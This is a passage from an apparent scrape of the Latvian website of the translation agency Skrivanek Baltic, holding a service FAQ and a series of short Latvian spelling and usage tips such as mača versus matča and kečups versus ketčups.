valodu mācības un nometnes bērniem un jauniešiem. Mūsu komanda palīdzēs ikvienā situācijā. Abu šo profesiju pārstāvji lieliski pārzina valodas, taču tulkotājs nodarbojas ar visu veidu rakstisko tulkošanu, kamēr tulks sniedz mutiskās – secīgās vai sinhronās tulkošanas pakalpojumu. Ja nepieciešams, mēs garantējam, ka mūsu iztulkotais dokuments izskatīsies tieši tāpat kā oriģināls, vai arī veidojam to atbilstoši klienta prasībām, piesaistot mūsu DTP komandu. Cik vien iespējams, strādājam ar dokumentu oriģināliem elektroniskā formātā, nemainot to stilu un formatējumu. Esam ISO 9001, EN 17100, ISO 27001, ISO EN 14001 un ISO EN 18585 sertificēts uzņēmums. Mēs rūpīgi ievērojam konfidencialitāti, uzņemamies atbildību par paveikto un nekavējam izpildes termiņus! EN 17100 standarts nosaka procesu vadības prasības tieši tulkošanas pakalpojumu sniedzējiem. Savu klientu sirdsmieram esam noslēguši profesionālās civiltiesiskās atbildības līgumu ar starptautisku apdrošinātāju Colonnade Insurance S. A. Mēs nodrošinām tulkojumus arī ar notāra apliecinājumu vai biroja apliecinājumu. Nē, visus tulkošanas pakalpojumu pasūtījumus pieņem un uzrauga projektu vadītājs, kurš ir kā tilts starp pasūtītāju un tulkotāju. Skrivanek Baltic tulki un tulkotāji spēj nodrošināt tulkojumus vairāk nekā 110 valodās. Mēs veicam tulkošanu mutiski un rakstiski, kā arī nodrošinām plašu valodu risinājumu klāstu. Mutisko tulkošanu nodrošinām konferencēs, darījumu tikšanās laikā, kā arī mūsu tulki sniedz atbalstu tiesvedības gaitā. Rakstiskie tulkojumi ietver specializētos un vispārīgos tulkojumus dažādās nozarēs. Nodrošinām arī lokalizācijas pakalpojumus, tekstu adaptāciju un radīšanu, DTP un valodu mācības. Jā, ļoti bieži sadarbības partneriem mēs veidojam pat valodas speciālistu komandas – pakalpojumu nodrošina tas pats tulkotājs vai tulks, kurš strādājis ar klientu iepriekš. Droši sniedziet atgriezenisko saiti, un mēs ar lielāko prieku organizēsim atkārtotu sadarbību. Mūsu pastāvīgajiem klientiem ir arī savs projektu vadītājs. Viss atkarīgs no konkrētās vienošanās un jūsu prasībām. Tikai jūs noteiksiet, cik daudz laika tulkam jāpavada kopā ar jums. Gadījumos, kad iztulkoto gala rezultātu plānots izmantot, piemēram, mārketinga vai reklāmas nolūkiem, nepietiek ar precīzu iztulkošanu – bieži vien tekstu nākas lokalizēt, mainīt izmantotās idiomas vai citus tēlainos izteiksmes līdzekļus, lai tas būtu viegli uztverams arī mērķa valodas lietotājiem. Šādos gadījumos notiek tekstu adaptācija, lai tos pilnībā pielāgotu mērķa valodas auditorijas prasībām. Tulkošanas rīki (CAT) ir tulkotājiem paredzētas programmas, kas palīdz tulkošanas procesā. Tulkošanas rīkos netiek veikta datorizēta jeb automatizēta tulkošana, taču tie ļauj paveikt darbu īsākā laikā, nodrošina terminoloģijas konsekventu lietojumu, kā arī palīdz ietaupīt un sniedz citas priekšrocības. Šie rīki ļauj saglabāt visus iepriekš tulkotos tekstus, tā nodrošinot, ka divi vienādi teikumi nav jātulko vairāk par vienu reizi. Īpaši piemēroti tie ir darbam ar finanšu un tehniskajiem tekstiem, kā arī zāļu dokumentācijas, dažādu mājaslapu un programmatūras tulkošanai. Ir pieņemts, ka tulkotājs var iztulkot līdz 2000 vārdu dienā, savukārt korektors izlabot līdz 6000 vārdu dienā. Parasti viena tulkojuma projekta tehniskajai apstrādei paredzēta viena diena. Lai noteiktu izpildes termiņu liela apjoma projektiem, tulkotāju un/vai korektoru skaitu reizina ar viena speciālista paveicamo darba apjomu dienā (piemēram, divi tulkotāji spēj iztulkot 4000 vārdu dienā, pieci tulkotāji spēj iztulkot 10 000 vārdu dienā). Lai rakstiskajā tulkojumā nodrošinātu vienotu terminoloģiju un stilu, piesaista minimālo iespējamo korektoru skaitu (piemēram, pieci tulkotāji un viens korektors), izņemot steidzamus pasūtījumus, kad ir nepieciešams papildu personāls. Lai nodrošinātu sinhrono tulkojumu, katrā valodu pārī nepieciešami divi tulki (piemēram, pasākumā, kurā piedalīsies latviski un angliski runājoši dalībnieki, sinhrono tulkojumu nodrošinās divi tulki, kas aptuveni ik pēc 20 minūtēm nomainīs viens otru). Lai aprēķinātu sinhronās tulkošanas kabīņu daudzumu, jāņem vērā, ka vienā tulku kabīnē sēž divi tulkotāji, kas tulko vienā un tajā pašā valodu pārī (piemēram, ja pasākumā nepieciešams tulkojums četros valodu pāros, būs nepieciešamas četras kabīnes, kurās strādās astoņi tulki). Jā, Skrivanek piedāvā iespēju izmantot bezmaksas tulkotāju līdz 1500 rakstzīmēm. Tomēr jāņem vērā, ka šis bezmaksas tulkotājs nenodrošina augstāko kvalitāti, tādēļ tulkojums nav oficiāls, un par tā kvalitāti mēs neatbildam. Lai iegūtu kvalitatīvu tulkojumu, iesakām sazināties ar mums un saņemt cenu piedāvājumu. Kvalitatīvs tulkojums tiek nodrošināts ar profesionālu un zinošu tulkotāju piesaisti. Nepieciešams tulkot tekstu vai pasākumu? Vēlaties apgūt svešvalodu? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai jau tūlīt! Biežāk uzdotie jautājumi Skrivanek Baltic ir sertificēts tulkošanas birojs, kas Latvijā darbojas kopš 2003. gada, piedāvājot augstākās kvalitātes valodu pakalpojumus. Uzņēmums Skrivanek ir viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē ar vairāk nekā 25 gadu ilgu pieredzi. Pašlaik tam ir gandrīz piecdesmit filiāļu dažādās pasaules valstīs – ASV, Austrijā, Beļģijā, Bulgārijā, Čehijā, Igaunijā, Lietuvā, Polijā, Slovākijā, Slovēnijā un Vācijā. 2007. gadā durvis vēra Mācību centrs Skrivanek, sniedzot iespēju bērniem un pieaugušajiem papildināt un iegūt svešvalodu zināšanas pie augsti kvalificētiem un zinošiem pasniedzējiem, kā arī saņemt plašāku informāciju saistībā ar valodām. Tulkošanas pakalpojuma cena tiek aprēķināta, ņemot vērā vārdu skaitu dokumentā, valodu kombināciju un citus aspektus. Nosūtiet mums materiālus, un par tulkojuma izmaksām jūs tiksit informēti vēl pirms darba uzsākšanas. Bezmaksas izcenojuma saņemšana neuzliek jums pienākumu sadarboties ar mums. Samaksas kārtība Korporatīviem klientiem piedāvājam slēgt sadarbības līgumu, kurā varam paredzēt šādus samaksas nosacījumus: mūsu uzņēmumā klients, veicot pasūtījumu pirmo reizi, pasūtījumu saņem tikai pēc rēķina samaksas; pēcapmaksa ar rēķinu pēc katra projekta (parasti iesakām izmantot apjomīgu projektu gadījumā); pēcapmaksa ar rēķinu par periodu (parasti iesakām klientiem, kuriem ir liels skaits apjomā nelielu pasūtījumu); pēcapmaksa ar rēķinu vienu reizi mēnesī. Korporatīvajiem klientiem un privātpersonām piedāvājam veikt rēķinu samaksu ar norēķinu kartēm vai skaidrā naudā mūsu birojā, kā PayPal maksājumus, kā arī veikt samaksu ar bankas pārskaitījumu. Jā, privātpersonām norādām cenu, kurā iekļauts PVN. Korporatīvajiem klientiem pakalpojumu cena tiek norādīta bez PVN, pamatojoties uz vispārpieņemto tirgus praksi. Ja dokuments ir pieejams Microsoft Word formātā, izmantojiet vārdu saskaitīšanas funkciju (Review, Word Count). Ja dokuments ir kādā citā formātā (izdruka, JPG, HTML, PHP, ASP u. tml. ), nosūtiet mums failu(-us) e-pastā, un mēs jums nosūtīsim bezmaksas aprēķinu. Par termiņiem mēs vienosimies jau pirms darba sākšanas. Varat rēķināties, ka tulkojumam līdz 500 vārdiem vidēji būs nepieciešama viena pilna darbadiena, apjomam no 1000 vārdiem – vismaz pusotra darba diena. Nepieciešamības gadījumā mēs varam nodrošināt steidzamu tulkojumu. Pilnīgi jebkurā elektroniskā formātā – ja dokuments nav pieejams elektroniski, nosūtiet mums attēlus vai atnāciet uz mūsu biroju Lāčplēša ielā 87C. Mēs varam iztulkot jebko no praktiski jebkura elektroniska formāta, saglabājot oriģinālā dokumenta formatējumu. Arī gadījumos, kad nepieciešami lokalizācijas pakalpojumi, mēs ievērojam klienta norādījumus, kā arī programmatūras specifiskos iestatījumus. Protams, ar lielāko prieku. Skrivanek ir plaša pieredze un zināšanu bāze dažādu mājaslapu un satura vadības sistēmu tekstu tulkošanā un lokalizēšanā. Visos gadījumos tiek nodrošināta profesionāla pieeja un piemeklēts labākais risinājums, lai nodrošinātu vēlamo rezultātu nepieciešamajās valodu kombinācijās. Lai arī lielākā daļa pieprasījumu ir no uzņēmumiem, mēs ar lielāko prieku strādājam arī ar privātpersonām. Visbiežāk privātpersonām ir nepieciešami tulkojumi ar notāra apstiprinājumu, pieprasītas ir arī valodu mācības un nometnes bērniem un jauniešiem. Mūsu komanda palīdzēs ikvienā situācijā. Abu šo profesiju pārstāvji lieliski pārzina valodas, taču tulkotājs nodarbojas ar visu veidu rakstisko tulkošanu, kamēr tulks sniedz mutiskās – secīgās vai sinhronās tulkošanas pakalpojumu. Ja nepieciešams, mēs garantējam, ka mūsu iztulkotais dokuments izskatīsies tieši tāpat kā oriģināls, vai arī veidojam to atbilstoši klienta prasībām, piesaistot mūsu DTP komandu. Cik vien iespējams, strādājam ar dokumentu oriģināliem elektroniskā formātā, nemainot to stilu un formatējumu. Esam ISO 9001, EN 17100, ISO 27001, ISO EN 14001 un ISO EN 18585 sertificēts uzņēmums. Mēs rūpīgi ievērojam konfidencialitāti, uzņemamies atbildību par paveikto un nekavējam izpildes termiņus! EN 17100 standarts nosaka procesu vadības prasības tieši tulkošanas pakalpojumu sniedzējiem. Savu klientu sirdsmieram esam noslēguši profesionālās civiltiesiskās atbildības līgumu ar starptautisku apdrošinātāju Colonnade Insurance S. A. Mēs nodrošinām tulkojumus arī ar notāra apliecinājumu vai biroja apliecinājumu. Nē, visus tulkošanas pakalpojumu pasūtījumus pieņem un uzrauga projektu vadītājs, kurš ir kā tilts starp pasūtītāju un tulkotāju. Skrivanek Baltic tulki un tulkotāji spēj nodrošināt tulkojumus vairāk nekā 110 valodās. Mēs veicam tulkošanu mutiski un rakstiski, kā arī nodrošinām plašu valodu risinājumu klāstu. Mutisko tulkošanu nodrošinām konferencēs, darījumu tikšanās laikā, kā arī mūsu tulki sniedz atbalstu tiesvedības gaitā. Rakstiskie tulkojumi ietver specializētos un vispārīgos tulkojumus dažādās nozarēs. Nodrošinām arī lokalizācijas pakalpojumus, tekstu adaptāciju un radīšanu, DTP un valodu mācības. Jā, ļoti bieži sadarbības partneriem mēs veidojam pat valodas speciālistu komandas – pakalpojumu nodrošina tas pats tulkotājs vai tulks, kurš strādājis ar klientu iepriekš. Droši sniedziet atgriezenisko saiti, un mēs ar lielāko prieku organizēsim atkārtotu sadarbību. Mūsu pastāvīgajiem klientiem ir arī savs projektu vadītājs. Viss atkarīgs no konkrētās vienošanās un jūsu prasībām. Tikai jūs noteiksiet, cik daudz laika tulkam jāpavada kopā ar jums. Gadījumos, kad iztulkoto gala rezultātu plānots izmantot, piemēram, mārketinga vai reklāmas nolūkiem, nepietiek ar precīzu iztulkošanu – bieži vien tekstu nākas lokalizēt, mainīt izmantotās idiomas vai citus tēlainos izteiksmes līdzekļus, lai tas būtu viegli uztverams arī mērķa valodas lietotājiem. Šādos gadījumos notiek tekstu adaptācija, lai tos pilnībā pielāgotu mērķa valodas auditorijas prasībām. Tulkošanas rīki (CAT) ir tulkotājiem paredzētas programmas, kas palīdz tulkošanas procesā. Tulkošanas rīkos netiek veikta datorizēta jeb automatizēta tulkošana, taču tie ļauj paveikt darbu īsākā laikā, nodrošina terminoloģijas konsekventu lietojumu, kā arī palīdz ietaupīt un sniedz citas priekšrocības. Šie rīki ļauj saglabāt visus iepriekš tulkotos tekstus, tā nodrošinot, ka divi vienādi teikumi nav jātulko vairāk par vienu reizi. Īpaši piemēroti tie ir darbam ar finanšu un tehniskajiem tekstiem, kā arī zāļu dokumentācijas, dažādu mājaslapu un programmatūras tulkošanai. Ir pieņemts, ka tulkotājs var iztulkot līdz 2000 vārdu dienā, savukārt korektors izlabot līdz 6000 vārdu dienā. Parasti viena tulkojuma projekta tehniskajai apstrādei paredzēta viena diena. Lai noteiktu izpildes termiņu liela apjoma projektiem, tulkotāju un/vai korektoru skaitu reizina ar viena speciālista paveicamo darba apjomu dienā (piemēram, divi tulkotāji spēj iztulkot 4000 vārdu dienā, pieci tulkotāji spēj iztulkot 10 000 vārdu dienā). Lai rakstiskajā tulkojumā nodrošinātu vienotu terminoloģiju un stilu, piesaista minimālo iespējamo korektoru skaitu (piemēram, pieci tulkotāji un viens korektors), izņemot steidzamus pasūtījumus, kad ir nepieciešams papildu personāls. Lai nodrošinātu sinhrono tulkojumu, katrā valodu pārī nepieciešami divi tulki (piemēram, pasākumā, kurā piedalīsies latviski un angliski runājoši dalībnieki, sinhrono tulkojumu nodrošinās divi tulki, kas aptuveni ik pēc 20 minūtēm nomainīs viens otru). Lai aprēķinātu sinhronās tulkošanas kabīņu daudzumu, jāņem vērā, ka vienā tulku kabīnē sēž divi tulkotāji, kas tulko vienā un tajā pašā valodu pārī (piemēram, ja pasākumā nepieciešams tulkojums četros valodu pāros, būs nepieciešamas četras kabīnes, kurās strādās astoņi tulki). Jā, Skrivanek piedāvā iespēju izmantot bezmaksas tulkotāju līdz 1500 rakstzīmēm. Tomēr jāņem vērā, ka šis bezmaksas tulkotājs nenodrošina augstāko kvalitāti, tādēļ tulkojums nav oficiāls, un par tā kvalitāti mēs neatbildam. Lai iegūtu kvalitatīvu tulkojumu, iesakām sazināties ar mums un saņemt cenu piedāvājumu. Kvalitatīvs tulkojums tiek nodrošināts ar profesionālu un zinošu tulkotāju piesaisti. --- --- ## Ziņas > Mača, matča vai matcha – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-07-30 - Modified: 2025-07-30 - URL: https://skrivanek.lv/maca-matca-vai-matcha/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Mača, matča vai matcha 1 Kā pareizi saukt smalko pulveri no ēnā audzēta tējaskoka lapām – matcha, matča vai mača? Šis ir viens no vārdiem, kura atveide latviešu valodā laika gaitā mainījusies. 2021. gadā Latviešu valodas ekspertu komisija sprieda, ka tējas lapu pulvera nosaukumu no japāņu 抹茶 (matcha) jāatveido, paturot burtu “t” – matča. Taču 2024. gada decembrī tika lemts, ka ērtības un labskanības dēļ turpmāk koši zaļo pulveri ar spēcīgo garšu sauksim par maču. Vasarai piestāv zaļais, tāpēc ­aicinām šovasar izmēģināt arī kādu dzērienu ar mačas pulveri! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Afrikānis vai āfrikānis – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-07-30 - Modified: 2025-07-30 - URL: https://skrivanek.lv/afrikanis-vai-afrikanis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Afrikānis vai āfrikānis 1 Pasākuma noslēgumā izskanēja muzikāls priekšnesums āfrikāņu ritmos. Vai tomēr afrikāņu? Pareiza svešvārdu rakstība latviešu valodā ne vienmēr ir vienkārša. Tāds ir arī šis gadījums. Ja jau ir Āfrika, tad jābūt āfrikānim, vai ne? Tomēr tā nav. Svešvārdu rakstībā vērojamas vairākas likumsakarības. Tā, piemēram, ja, atvasinot svešvārdu, tā beigu daļā ir garš patskanis, tad saknes garo patskani aizstāj īsais: Āfrika – afrikānis, mūzika – muzikāls, drāma – dramatisks. Tātad pasākuma noslēgumā skanēja muzikāls priekšnesums afrikāņu ritmos. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kečups vai ketčups – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-07-30 - Modified: 2025-07-30 - URL: https://skrivanek.lv/kecups-vai-ketcups/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Kečups vai ketčups 1 Vai vasaras karstumā baudām grilētu gaļu ar kečupu vai ketčupu? Vārds “kečups” latviešu valodā ienācis no angļu ketchup, taču tā sākotnējā izcelsme meklējama ķīniešu valodā – no kê-chiap (fermentēta zivs). Pārņemot latviešu valodā svešvārdus, ir pieņemts saglabāt to izrunu un rakstību. Ķīniešu valodā burta “t” šajā vārdā nav. Angļu valodā burtu “t” neizrunā (keh·chuhp jeb ke-čup). Tātad arī latviešu valodā burtu “t” izlaidīsim un gardās vasaras maltītes papildināsim ar kvalitatīvu kečupu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Sociālie tīkli vai sociālie mediji – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-07-30 - Modified: 2025-07-30 - URL: https://skrivanek.lv/socialie-tikli-vai-socialie-mediji/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Sociālie mediji vai sociālie tīkli 1 Aktīvi jaunieši ik dienu publicē ierakstus sociālajos tīklos. Vai tomēr sociālajos medijos? Abi jēdzieni ir pareizi, taču tiem ir atšķirīga nozīme. Sociālais tīkls ir struktūra, kas savieno cilvēkus – tie ir savstarpēji pazīstami cilvēki vai cilvēki, kas sazinās savā starpā. Sociālie tīkli neparedz obligātu komunikāciju tiešsaistē. Savukārt tiešsaistes platformas, tīklošanās vietnes, lietotnes, forumi, emuāri u. tml. ir sociālie mediji. Sociālās tīklošanās vietnes, kā Facebook, Instagram vai TikTok, ir populārākie no sociālajiem medijiem. Nepareizais jēdziena “sociālie tīkli” lietojums, attiecinot to uz šādām vietnēm, veidojies kā īsinājums, dažkārt pārvēršoties pat saliktenī “soctīkli”. Tomēr šis lietojums ir nekorekts. Tāpēc teiksim, ka jaunieši ik dienu publicē ierakstus sociālās tīklošanās vietnēs un aktīvi izmanto sociālos medijus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vetārsts / veterinārs / veterinārārsts – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-07-30 - Modified: 2025-07-30 - URL: https://skrivanek.lv/vetarsts-veterinars-veterinararsts/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Vetārsts / veterinārs / veterinārārsts 1 Rūpējoties par sava mājdzīvnieka veselību, tas jāved uz regulārām pārbaudēm pie vetārsta. Vai veterināra? Vai tomēr veterinārārsta? Praksē lieto visus šos vārdus, taču jāņem vērā, ka vārds “vetārsts” ir sarunvalodas vārds. Savukārt “veterinārs” pamatā lietojams kā īpašības vārds ar nozīmi ‘saistīts ar veterināriju, tai raksturīgs’. Piemēram, veterinārā klīnika vai veterinārie pakalpojumi. Turpretī speciālists ar augstāko veterināro izglītību ir veterinārārsts. Tātad, rūpējoties par sava mīļdzīvnieka labklājību, regulāri vedīsim to pie veterinārārsta. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Dekors vai dekols – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-07-30 - Modified: 2025-07-30 - URL: https://skrivanek.lv/dekors-vai-dekols/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Dekors vai dekols 1 Porcelāna servīzei bija skaists dekors vai skaists dekols? Patiesībā pareizi ir abi termini, taču tiem ir atšķirīga nozīme. Dekors ir ‘rotājumu kopums; dekoratīva apdare’ – tātad tas lietojams plašā nozīmē. Savukārt dekols ir specifiska dekorēšanas tehnika: ‘uz speciāla papīra ar keramiskajām krāsām poligrāfiski izgatavots zīmējums, kuru samitrina un uzlīmē dekorējamā stikla vai keramikas izstrādājuma virsmai’. Tātad, ja porcelāna servīze ir apgleznota ar roku, tai ir brīnumskaists dekors. Savukārt, ja servīzei uzlīmēts uz speciāla papīra sagatavots zīmējums, ko nostiprina, apdedzinot augstā temperatūra, tai ir brīnumskaists dekols. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Acetons vai acitons – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-07-30 - Modified: 2025-07-30 - URL: https://skrivanek.lv/acetons-vai-acitons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Acetons vai acitons 1 Laboratorijas darbā 